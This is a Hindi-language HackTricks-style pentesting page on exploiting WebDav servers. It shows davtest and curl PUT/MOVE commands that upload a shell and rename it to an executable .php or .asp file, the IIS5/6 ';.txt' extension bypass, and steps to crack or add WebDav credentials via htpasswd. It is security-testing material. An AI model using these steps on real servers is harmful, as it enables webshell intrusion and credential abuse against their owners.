# WebDav {{#include ../../banners/hacktricks-training.md}} जब **WebDav** सक्षम **HTTP सर्वर** के साथ काम कर रहे हैं, तो यदि आपके पास सही **प्रमाण पत्र** हैं, तो आप **फाइलों को संशोधित** कर सकते हैं, जो आमतौर पर **HTTP बेसिक ऑथेंटिकेशन** के माध्यम से सत्यापित होते हैं। ऐसे सर्वर पर नियंत्रण प्राप्त करना अक्सर **वेबशेल के अपलोड और निष्पादन** में शामिल होता है। WebDav सर्वर तक पहुँचने के लिए आमतौर पर **मान्य प्रमाण पत्र** की आवश्यकता होती है, जिसमें [**WebDav ब्रूटफोर्स**](../../generic-hacking/brute-force.md#http-basic-auth) एक सामान्य विधि है। फाइल अपलोड पर प्रतिबंधों को पार करने के लिए, विशेष रूप से उन प्रतिबंधों को जो सर्वर-साइड स्क्रिप्ट के निष्पादन को रोकते हैं, आप: - यदि प्रतिबंधित नहीं है तो **निष्पादन योग्य एक्सटेंशन** वाली फाइलें सीधे **अपलोड** करें। - अपलोड की गई गैर-निष्पादन योग्य फाइलों (जैसे .txt) का नाम बदलकर निष्पादन योग्य एक्सटेंशन में बदलें। - अपलोड की गई गैर-निष्पादन योग्य फाइलों की **कॉपी** करें, उनके एक्सटेंशन को निष्पादन योग्य में बदलते हुए। ## DavTest **Davtest** कई **विभिन्न एक्सटेंशन** वाली फाइलों को **अपलोड** करने की कोशिश करता है और **जांचता** है कि क्या एक्सटेंशन **निष्पादित** होता है: ```bash davtest [-auth user:password] -move -sendbd auto -url http:// #Uplaod .txt files and try to move it to other extensions davtest [-auth user:password] -sendbd auto -url http:// #Try to upload every extension ``` ![](<../../images/image (851).png>) इसका मतलब यह नहीं है कि **.txt** और **.html एक्सटेंशन निष्पादित हो रहे हैं**। इसका मतलब है कि आप **इन फ़ाइलों तक पहुँच सकते हैं** वेब के माध्यम से। ## Cadaver आप इस उपकरण का उपयोग **WebDav** सर्वर से **जोड़ने** और क्रियाएँ (जैसे **अपलोड**, **स्थानांतरित** या **हटाना**) **हाथ से** करने के लिए कर सकते हैं। ``` cadaver ``` ## PUT अनुरोध ``` curl -T 'shell.txt' 'http://$ip' ``` ## MOVE अनुरोध ```bash curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt' ``` ## IIS5/6 WebDav Vulnerability यह सुरक्षा कमी बहुत दिलचस्प है। **WebDav** **फाइलों को अपलोड** या **नाम बदलने** की **अनुमति नहीं देता** जिनका एक्सटेंशन **.asp** है। लेकिन आप नाम के अंत में **";.txt"** जोड़कर इसे **बायपास** कर सकते हैं और फाइल को एक .asp फाइल की तरह **निष्पादित** किया जाएगा (आप **".html" का उपयोग भी कर सकते हैं ".txt" के बजाय** लेकिन **";" को मत भूलें**). फिर आप अपनी शेल को ".**txt" फाइल** के रूप में **अपलोड** कर सकते हैं और इसे ".asp;.txt" फाइल में **कॉपी/मूव** कर सकते हैं। उस फाइल को वेब सर्वर के माध्यम से एक्सेस करने पर, यह **निष्पादित** होगा (cadaver कहेगा कि मूव क्रिया काम नहीं की, लेकिन यह काम कर गई). ![](<../../images/image (1092).png>) ## Post credentials यदि Webdav एक Apache सर्वर का उपयोग कर रहा था तो आपको Apache में कॉन्फ़िगर की गई साइटों पर ध्यान देना चाहिए। सामान्यतः:\ \_**/etc/apache2/sites-enabled/000-default**_ इसके अंदर आप कुछ ऐसा पा सकते हैं: ``` ServerAdmin webmaster@localhost Alias /webdav /var/www/webdav DAV On AuthType Digest AuthName "webdav" AuthUserFile /etc/apache2/users.password Require valid-user ``` जैसा कि आप देख सकते हैं, **webdav** सर्वर के लिए मान्य **credentials** के साथ फ़ाइलें हैं: ``` /etc/apache2/users.password ``` इस प्रकार की फ़ाइलों के अंदर आपको **username** और पासवर्ड का **hash** मिलेगा। ये वे क्रेडेंशियल्स हैं जो वेबडाव सर्वर उपयोगकर्ताओं को प्रमाणित करने के लिए उपयोग कर रहा है। आप उन्हें **crack** करने की कोशिश कर सकते हैं, या यदि किसी कारणवश आप **webdav** सर्वर तक **access** करना चाहते हैं तो **more** जोड़ सकते हैं: ```bash htpasswd /etc/apache2/users.password #You will be prompted for the password ``` नए क्रेडेंशियल्स काम कर रहे हैं या नहीं यह जांचने के लिए आप कर सकते हैं: ```bash wget --user --ask-password http://domain/path/to/webdav/ -O - -q ``` ## संदर्भ - [https://vk9-sec.com/exploiting-webdav/](https://vk9-sec.com/exploiting-webdav/) {{#include ../../banners/hacktricks-training.md}}